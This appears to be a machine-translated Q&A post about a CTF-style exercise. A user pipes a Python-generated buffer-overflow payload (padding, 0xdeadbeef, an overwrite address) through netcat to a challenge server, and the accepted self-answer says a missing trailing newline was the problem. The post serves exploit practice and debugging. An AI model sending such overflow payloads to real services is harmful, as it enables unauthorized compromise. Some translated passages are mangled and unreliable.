私は次のようにバイトコードをnetcat()にパイプしようとしましたnc
:
python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\x21\x52\x54\x55\x55\x35')" | nc example.com 1337
ただし、これを実行すると、端末は入力を待っているかのようにプログラムの出力を印刷しますが、テキストを入力してEnterキーを押すと何も起こりません。それでも入力を待っています。終了するためにCtrl + Dを試してみましたが'
、 '"', ')'を試しました。うまくいきません。または、少なくとも何も出力されません。出力は印刷されません。
私もエラーがあるかどうかを確認するためにxxdでパイピングしようとしましたが、いいえ、大丈夫です。
インターネット検索を試しましたが結果がないようです。
答え1
だから私はそれを見つけました:
xxdや他の同様のプログラムで見られるように、改行文字がありません!\n
閉じるバイト文字列リテラル()の前にを追加するだけ'
です!
場合閉鎖!